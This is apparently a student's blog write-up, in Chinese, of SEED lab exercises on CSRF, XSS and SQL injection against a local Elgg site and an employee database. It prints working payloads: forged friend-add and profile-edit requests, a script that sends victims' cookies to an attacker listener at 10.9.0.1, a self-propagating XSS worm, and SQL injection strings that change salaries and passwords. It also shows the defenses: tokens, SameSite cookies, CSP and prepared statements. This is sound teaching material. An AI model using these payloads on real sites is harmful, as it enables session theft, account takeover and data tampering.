网络安全第三次实验


Lab1 CSRF攻击实验

实验原理

Cross Site Request Forgery, 跨域请求伪造

image-20221122183608944

修改 /etc/hosts

sudo vim /etc/hosts

image-20221122184025998

实验所需的各个账户的密码:

----------------------------
UserName | Password
----------------------------
admin | seedelgg
alice | seedalice
boby | seedboby
charlie | seedcharlie
samy | seedsamy

1 观察HTTP请求

image-20221122192542980

可以看到get请求。

2 使用GET请求进行CSRF攻击

在这个任务中,我们需要Elgg社交网络中的两个人:Alice和Samy。萨米想成为一个爱丽丝的朋友,但爱丽丝拒绝把他添加到她的埃尔格朋友名单。萨米决定利用CSRF攻击实现他的目标。他给爱丽丝发送了一个URL(通过电子邮件或在Elgg发布的帖子);爱丽丝很好奇,咔哒一声在网址上找到了萨米的网站:www.attacker32.com。假装你是萨米描述你如何构建网页的内容,所以一旦Alice访问网页,Samy被添加到Alice的好友列表中(假设Alice与Elgg有一个活跃的会话)。要向受害者添加朋友,我们需要确定合法的add - friend HTTP请求(一个GET请求)的样子。我们可以使用“HTTP Header Live”工具来进行调查。在这个任务中,你不允许编写JavaScript代码来启动CSRF攻击。你的工作是让攻击成功当Alice访问网页时,甚至不需要在页面上做任何点击(提示:你可以使用img标记,它会自动触发一个HTTP GET请求)。埃尔格已经实施了一个对抗CSRF攻击的对策。在添加好友的HTTP请求中,您可能会注意到,每个请求都包含两个奇怪的参数,即elgg ts和elgg令牌。这些参数由反对策使用,因此如果它们不包含正确的值,请求将包含正确的值不能被埃尔格接受。我们已经禁用了这个实验室的对策,所以没必要包括这两个参数在伪造的请求中。

用samy的账号登录,然后member下,alice,点击Add friend按钮添加好友:

image-20221122193546416

image-20221122193715676

通过观察我们得知添加好友的http请求是action/friends/add?friend=56(此处为Alice好友id号),打开samy的好友界面,按F12获取网页元素,得到samy的好友ID号是59。

image-20221122194104372

构造CSRF攻击请求:

http://www.seed-server.com/action/friends/add?friend=59

将此链接放入我们的攻击网站http://www.attacker32.com/index.html中:

<!Doctype html>  
<html>  
	<head>  
		<title>You have been attacked!</title>  
	</head>  
	<body>  
		<img src="http://www.seed-server.com/action/friends/add?friend=59">
		<h1>You have been attacked!</h1>  
	<body>  
</html> 

image-20221122195012618

在Bob的个人博客中公布此网址,并谎称此网址是一个有网络安全期末考题的相关网址。

image-20221122195813853

Alice看到samy的博客:

image-20221122212003962

当Alice点击进入这个网址后,看到如下页面:

image-20221122212308816

image-20221122212316548

点击图片,发现samy已经在她的好友名单里了。

image-20221122211926330

3 使用POST请求进行CSRF攻击

登录Alice的账号,发布任意一篇博客,在HTTP Header Live找到相关的Http请求,根据实验指导书构建我们的攻击网站,添加JavaScript部分。

对我们的攻击网站进行修改:

<!Doctype html>  
<html>  
     <head>  
          <title>You have been attacked!</title>  
     </head>  
     <body>  
          <img src="http://www.seed-server.com/action/friends/add?friend=59">
          <h1>You have been attacked!</h1>  
     <body>  
     <script type="text/javascript">  
          function forge_post() {  
                var fields = "";  
                  
                fields += "<input type='hidden' name='name' value='Alice'>"; 
                fields += "<input type='hidden' name='briefdescription' value='Samy is my Hero'>";  
                fields += "<input type='hidden' name='name' value='Alice'>";
                fields += "<input type='hidden' name='accesslevel[briefdescription]' value='2'>";
                fields += "<input type='hidden' name='guid' value='56'>";

                var p = document.createElement("form");  
                p.action = "http://www.seed-server.com/action/profile/edit";
                p.innerHTML = fields;  
                p.method = "post";  
   
                document.body.appendChild(p);  
                p.submit();  
            }  
   
            window.onload = function() { forge_post(); }  
     </script> 
<html>

登录 Samy 账号,我们先试着修改自己的 profile,点击链接即发出一个POST请求的表单。

image-20221122221947609

image-20221122222227359

当Alice点击时,发现主页显示Samy是我的英雄:

Alice的资料

4 启用Elgg的对策

为了抵御 CSRF 攻击,Web 应用程序可以在其页面中嵌入一个秘密令牌。来自这些页面的所有请求都必须携带此令牌,否则它们将被视为跨站点请求,并且不会具有与同站点请求相同的权限。攻击者将无法获得这个秘密令牌,因此他们的请求很容易被识别为跨站请求。

Elgg 使用这种秘密令牌方法作为其内置的反制措施来抵御 CSRF 攻击。我们已经禁用了使攻击起作用的对策。 Elgg 在请求中嵌入了两个参数__elgg_ts__elgg_token。这两个参数被添加到 POST 请求的 HTTP 消息正文和 HTTP GET 请求的 URL 字符串中。服务器将在处理请求之前验证它们。

Elgg 向所有 HTTP 请求添加安全令牌和时间戳。以下 HTML 代码存在于所有需要用户操作的表单中。这是两个隐藏字段;提交表单时,将这两个隐藏参数添加到请求中:

<input type = "hidden" name = "__elgg_ts" value = "" />
<input type = "hidden" name = "__elgg_token" value = "" />

Elgg 还将安全令牌和时间戳的值分配给 JavaScript 变量,因此同一页面上的 JavaScript 代码可以轻松访问它们。

elgg.security.token.__elgg_ts;
elgg.security.token.__elgg_token;

秘密令牌和时间戳由 vendor/elgg/elgg/views/default/input/securitytoken.php 模块添加到 Elgg 的网页。

elgg Web 应用程序验证生成的令牌和时间戳以抵御 CSRF 攻击。每个用户操作都会调用 Csrf.php 中的验证函数,该函数会验证令牌。如果令牌不存在或无效,则该操作将被拒绝,用户将被重定向。在我们的设置中,我们在此函数的开头添加了一个返回,基本上禁用了验证。

故:我们进入Elgg容器,进入 /var/www/elgg/vendor/elgg/elgg/engine/classes/Elgg/Security 文件夹,从Csrf.php中删除return语句。

编辑页面

容器内部提供了一个名为 nano 的简单编辑器。

image-20221122224345512

试图将Alice的个人资料改为Samy is really my Hero!!!,发现攻击全部失效,无法成功。

image-20221122224515740

5 试验 SameSite Cookie 方法

现在大多数浏览器都实现了一种叫做 SameSite cookie 的机制,这是一种与 cookie 相关联的属性。SameSite Cookie 允许服务器要求某个 cookie 在跨站请求时不会被发送,从而可以阻止跨站请求伪造攻击(CSRF)。

我们访问 www.example32.com。然后点击各个按钮。

image-20221122234626947

5.1 同域请求

image-20221122234646458

链接:

image-20221122234654280

GET请求:

image-20221122234704139

POST请求:

image-20221122234717410

5.2 跨域请求

image-20221122234914040

链接:

image-20221122234921222

GET请求:

image-20221122234928936

POST请求:

image-20221122234938038

我们得到以下结论:

SameSite的三个属性控制Cookie的等级

  • Strict最为严格,完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie。换言之,只有当前网页的 URL 与请求目标一致,才会带上 Cookie。
  • Lax规则稍稍放宽,大多数情况也是不发送第三方 Cookie,但是导航到目标网址的 Get 请求除外。

导航到目标网址的 GET 请求,只包括三种情况:链接,预加载请求,GET 表单。详见下表。

image-20221122230446415

设置了StrictLax以后,基本就杜绝了 CSRF 攻击。当然,前提是用户浏览器支持 SameSite 属性。

  • None属性:等同于关闭SameSite

Lab2 XSS攻击实验

实验原理

跨站脚本(Cross-site scripting,简称为:CSS, 但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,跨站脚本攻击缩写为XSS)是一种网站应用程序的安全漏洞攻击。

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、 LiveScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

反射型XSS攻击原理如下图,其通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,且受到XSS Auditor(chrome内置的XSS保护)、NoScript等防御手段的影响较大,所以它的危害性较存储型要小:

image-20221127191352490

存储型XSS攻击原理如下图,其中,恶意代码会被保存在服务器中,导致其它用户(前端)和管理员(前后端)在访问资源时执行了恶意代码,用户访问服务器-跨站链接-返回跨站代码:

image-20221127191539128

DOM是文档对象模型( Document Object Model)的缩写。它是HTML文档的对象表示,同时也是外部内容(例如 JavaScript)与HTML元素之间的接口。

它是基于DoM文档对象模型的一种漏洞,并且DOM型XSS是基于JS上的,并不需要与服务器进行交互。其通过修改页面DOM节点数据信息而形成的ⅩSS跨站脚本攻击。不同于反射型XSS和存储型XSS,基于DOM的XSS跨站脚本攻击往往需要针对具体的 Javascript DOM代码进行分析,并根据实际情况进行XSS跨站脚本攻击的利用。

1 发布恶意消息以显示警报窗口

这个 Task 用来熟悉 js 脚本。登录 Samy 账号,修改 profile 如图所示:

<script>
    alert('XSS');
</script>

image-20221127192610075

保存后,看到弹出一个内容为“XSS”的弹窗:

image-20221127192933103

2 发布恶意消息以显示Cookie

这个 Task 用来熟悉如何获取 Cookie。修改 Samy 的 profile 如图所示:

<script>
    alert(document.cookie);
</script>

image-20221127193112267

保存后,看到弹出一个内容为Cookie的弹窗:

image-20221127193056309

3 从受害者的机器上盗窃Cookie

这个 Task 用来熟悉如何发回数据。修改 Samy 的 profile 如图所示:

JavaScript 代码将 cookie 发送到攻击者机器(IP 地址为 10.9.0.1)的端口 5555,其中攻击者有一个 TCP 服务器监听相同的端口。

<script>
    document.write('<img src=http://10.9.0.1:5555?c=' +
                   escape(document.cookie) +
                   '>');
</script>

image-20221127194050832

在端口上开启监听:

nc -lknv 5555

登录 Alice 账号,点进 Samy 的 profile,看到端口返回了发来的Cookie:

image-20221127194527627

4 成为受害者的朋友

这个 Task 利用 js 实现 GET 方法。修改 Samy 的 profile 如图所示:

<script type="text/javascript">
window.onload=function()
{
    var Ajax=null;//使用Ajax实现Javascript代码,方便在后台发起HTTP请求,防止因Javascript代码发起普通HTTP请求离开当前页面,引起用户怀疑
    
    //设置时间戳和秘密令牌值,使得请求被视为同站请求
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;//将当前页面Javascript代码中的时间戳变量值赋给elgg_ts
    var token="&__elgg_token="+elgg.security.token.__elgg_token;//将当前页面Javascript代码中的秘密令牌变量值赋给elgg_ts
    
    //创建url
    var sendurl="http://www.seed-server.com/action/friends/add"//加好友的网页
    			+"?friend=59" + token + ts;//加上好友ID,token,ts字段构成url
    
    //创建并发送Ajax请求加好友
    Ajax=new XMLHttpRequest();
    Ajax.open("GET",sendurl,true);
    Ajax.send();
}
</script>

image-20221127200015201

登录 Alice 账号,点进 Samy 的 profile,看到已经添加了好友:

image-20221127195945902

5 修改受害者档案

这个 Task 利用 js 实现 POST 方法。修改 Samy 的 profile 如图所示:

<script type="text/javascript">
    window.onload = function(){
        var userName="&name="+elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        
        var content=token + ts + userName +
            "&description=samy%20is%20my%20hero&accesslevel[description]=2" +
            guid;
        var samyGuid=59;
        var sendurl="http://www.seed-server.com/action/profile/edit";
        
        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST", sendurl, true);
            Ajax.setRequestHeader("Content-Type",
                                  "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>

image-20221127200130676

登录 Alice 账号,查看 Samy 的 profile,看到自己的 profile 已经被修改了:

image-20221127200222489

行14不能被去除:这行用来判断当前用户是不是攻击者自身,如果是,就不进行攻击。如果去掉这行代码,会导致攻击者保存自己的 profile 后,description 立即被改变,无法实施攻击。

6 编写自传播XSS蠕虫

要成为真正的蠕虫,恶意 JavaScript 程序应该能够自我传播。即,每当有人查看受感染的个人资料时,不仅他们的个人资料会被修改,蠕虫还会传播到他们的个人资料中,进一步影响查看这些新感染的个人资料的其他人。

编辑 Samy 的 profile,使其可以把自己赋值到别人的 profile 中:

<script id="worm">
    var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
    var jsCode = document.getElementById("worm").innerHTML;
    var tailTag = "</" + "script>";
    var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
    window.onload = function(){
        var userName="&name="+elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        
        var content=token + ts + userName +
            "&description=" + wormCode + "&accesslevel[description]=2" + 
            "&briefdescription=samy%20is%20my%20hero&accesslevel[briefdescription]=2" +
            guid;
        var samyGuid=59;
        var sendurl="http://www.seed-server.com/action/profile/edit";
        
        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST", sendurl, true);
            Ajax.setRequestHeader("Content-Type",
                                  "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>

image-20221127201222243

登录 Alice 账号,查看 Samy 的 profile,看到自己的 profile 已经被修改了:

image-20221127201302313

登录 Charlie 账号,查看 Alice 的 profile,看到自己的 profile 已经被修改了:

image-20221127201349179

7 使用CSP抵御XSS攻击

内容安全策略 (CSP) 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。

XSS 漏洞的根本问题是 HTML 允许 JavaScript 代码与数据混合。因此,要解决这个根本问题,我们需要将代码与数据分开。在 HTML 页面中包含 JavaScript 代码有两种方法,一种是内联方法,另一种是链接方法。

内联(嵌入)方式直接将代码放在页面内部,而链接方式是将代码放在外部文件中,然后从页面内部链接到它。

7.1 配置CSP

/etc/hosts中更改DNS配置:

image-20221127201901622

三个网站www.example32a.com, www.example32b.com, www.example32c.com同时使用相同的HTML文件,即index.html,其内容如下:

#脚本1,设置nonce值为111-111-111,脚本试图将区域1内容设置为OK
<script type="text/javascript" nonce="111-111-111">
document.getElementById(’area1’).innerHTML = "OK";
</script>

#脚本2,设置nonce值为222-222-222,脚本试图将区域2内容设置为OK
<script type="text/javascript" nonce="222-222-222">
document.getElementById(’area2’).innerHTML = "OK";
</script>

#脚本3,没有nonce值,试图将区域3内容设置为OK    
<script type="text/javascript">
document.getElementById(’area3’).innerHTML = "OK";
</script>

#脚本4,执行代码存放于本站的script_area4.js文件中  
<script src="script_area4.js"> </script>
    
#脚本5,执行代码存放于http://www.example60.com的script_area5.js文件中
<script src="http://www.example60.com/script_area5.js"> </script>

#脚本6,执行代码存放于http://www.example70.com的script_area6.js文件中
<script src="http://www.example70.com/script_area6.js"> </script>
</html>

配置CSP的两种方法

①Apache服务器可以为所有相应报文设置HTTP头部

②在网络应用程序中配置CSP

/etc/apache2/sites-available中查看apache csp.conf

#www.example32a.com不设置CSP
<VirtualHost *:80>
	DocumentRoot /var/www/csp
	ServerName www.example32a.com
	DirectoryIndex index.html
</VirtualHost>

#www.example32b.com通过Apache设置HTTP响应报文头部来设置CSP(方法①)
<VirtualHost *:80>
	DocumentRoot /var/www/csp
	ServerName www.example32b.com
	DirectoryIndex index.html
	Header set Content-Security-Policy " \ #开启CSP模式 
	default-src 'self'; \ #允许来自本站的嵌入式Javascript脚本
	script-src 'self' *.example70.com \ #允许来自example70.com的嵌入式Javascript脚本
	"
</VirtualHost>

#www.example32c.com通过网络应用来设置CSP(方法②)
<VirtualHost *:80> 
	DocumentRoot /var/www/csp
	ServerName www.example32c.com
	DirectoryIndex phpindex.php #访问phpindex,php文件来加载该网页,并将关于CSP的配置写在该文件中
</VirtualHost>

phpindex.php

<?php
$cspheader = "Content-Security-Policy:". #开启CSP策略
"default-src 'self';". #允许来自本站的嵌入式Javascript脚本
"script-src 'self' 'nonce-111-111-111' *.example70.com". #允许来自本站的嵌入式脚本,来自example70.com的嵌入式脚本,来自nonce值为111-111-111的嵌入式脚本
"";
header($cspheader);
?>
<?php include 'index.html';?>

重启apache服务器:

service apache2 restart

网页测试结果见下节。

7.2 测试www.example32a.com

image-20221127211212663

该网站没有开启CSP防御机制,故六个script脚本均被执行成功,所有项目都是OK,点击按钮弹出弹窗。

7.3 测试www.example32b.com

image-20221127211727818

根据example32b.com的CSP配置,可知其仅允许本站和example70.com的引入式脚本,故index.html中的脚本4,6成功执行

脚本1,2使用的是嵌入式脚本,虽然有nonce值,但是在HTTP头部中规定的CSP策略中并没允许任何嵌入式代码使用nonce值进行认证

脚本3属于嵌入式代码,不予执行

脚本5来源网站example60.com不可信,不予执行

按钮7属于嵌入式代码,不被允许故不显示相应内容

7.4 测试www.example32c.com

image-20221127211257525

根据example32c.com的CSP配置,可知其允许本站和example70.com的引入式脚本,以及nonce值为111-111-111的嵌入式代码,故脚本1nonce值符合,被嵌入执行,1区域显示为OK;脚本4来自本站,脚本6来自example70.com,均为可信来源,被执行

脚本2的nonce值为222-222-222,与CSP配置要求的值不相符,故不予执行

脚本3为嵌入式代码且无nonce值进行认证,故不予执行

脚本5来源网站example60.com不可信,故不予执行

按钮7属于嵌入式代码,无相应nonce值,故不显示相应内容

7.5 修改代码

7.5.1 修改example32b.com的CSP配置

修改Apache配置,使得区域5显示为OK:

#www.example32b.com通过Apache设置HTTP响应报文头部来设置CSP(方法①)
<VirtualHost *:80>
	DocumentRoot /var/www/csp
	ServerName www.example32b.com
	DirectoryIndex index.html
	Header set Content-Security-Policy " \ #开启CSP模式 
	default-src 'self'; \ #允许来自本站的嵌入式Javascript脚本
	script-src 'self' *.example70.com \ #允许来自example70.com,example70.com的嵌入式Javascript脚本
	script-src 'self' *.example60.com \ #允许来自example60.com,example70.com的嵌入式Javascript脚本
	"
</VirtualHost>

image-20221127211857629

image-20221127211942440

7.5.2 修改example32c.com的CSP配置

修改相应php代码,使得区域2,5显示为OK

<?php
	$cspheader = "Content-Security-Policy:". #开启CSP策略
	"default-src 'self';". #允许来自本站的嵌入式Javascript脚本
	"script-src 'self' 'nonce-111-111-111' 'nonce-222-222-222' *.example70.com *.example60.com". 
"";
header($cspheader);
?>
<?php include ’index.html’;?>

image-20221127212503225

CSP明确告诉了网站哪些资源可以被加载,是可信的,所以可以防止XSS攻击使用不可信来源的脚本对网站进行攻击。

Lab3 SQL注入实验

Task1 熟悉SQL语句

image-20221122085828149

image-20221122085951818

Task2 使用SELECT语句进行SQL注入攻击

2.1 来自网页的SQL注入攻击

打开http://www.seed-server.com/

image-20221122091252990

进入unsafe_home.php,看到如下判断:

image-20221122091234942

由此,我们只需把判断 Password 的部分屏蔽即可:admin';#

image-20221122091357577

image-20221122091346989

2.2 来自命令行的SQL注入攻击

Curl是利用URL语法在命令行下工作的文件传输工具,它可以获得页面、获取表单。

我们使用curl发起SQL注入攻击,获取相应网址对应的页面:

curl http://www.seed-server.com/unsafe_home.php?username=admin%27%3B%23&Password=

其中%27'%3B;%23#

image-20221122092444001

同样发现显示了所有用户的信息。

2.3 附加新的SQL语句

注入:

Alice'; update credential set name=A where ID=1;#

可以看到注入不成功:

image-20221122092612589

Task3 UPDATE语句的SQL注入攻击

3.1 修改自己的工资

使用Alice';#进入系统,看到如下界面:

image-20221122093137807

观察 unsafe_edit_backend.php,看到有如下判断:

$hashed_pwd = sha1($input_pwd);
$sql = "UPDATE credential SET
        nickname=’$input_nickname’,
        email=’$input_email’,
        address=’$input_address’,
        Password=’$hashed_pwd’,
        PhoneNumber=’$input_phonenumber’
        WHERE ID=$id;";
$conn->query($sql);

注入:

',salary='30000' where ID=1;#

image-20221122093315868

我们看到,工资已经被更新:

image-20221122093340572

3.2 修改他人的工资

把 Boby 的薪水改成 114514:

',salary='114514' where ID=2;#

image-20221122093438950

进入Boby的系统,发现工资已经被更改:

image-20221122093516606

3.3 修改其他人的密码

我们发现密码采用的是sha1加密:

image-20221122093653348

进行sha1加密:

image-20221122093752896

注入:

',Password='5494546fc6fa7df36dfa3d81e94915ae93c2337a' where ID=1;#

image-20221122093859409

我们看到Alice需要用qzs2022密码进行登录。

Task4 防御SQL注入攻击

登录http://www.seed-server.com/defense/

image-20221122154338170

参数与查询分离。修改 unsafe.php,做如下改动:

$stmt = $conn->prepare("SELECT id, name, eid, salary, ssn
						FROM credential
						WHERE name = ? and Password = ? ");
$stmt->bind_param("ss", $input_uname, $hashed_pwd);
$stmt->execute();
$stmt->bind_result($id, $name, $eid, $salary, $ssn);
$stmt->fetch();

image-20221122154137592

可以看到攻击失败:

image-20221122154433910


文章作者: ShiQuLiZhi
版权声明: 本博客所有文章除特别声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 ShiQuLiZhi !
评论
  目录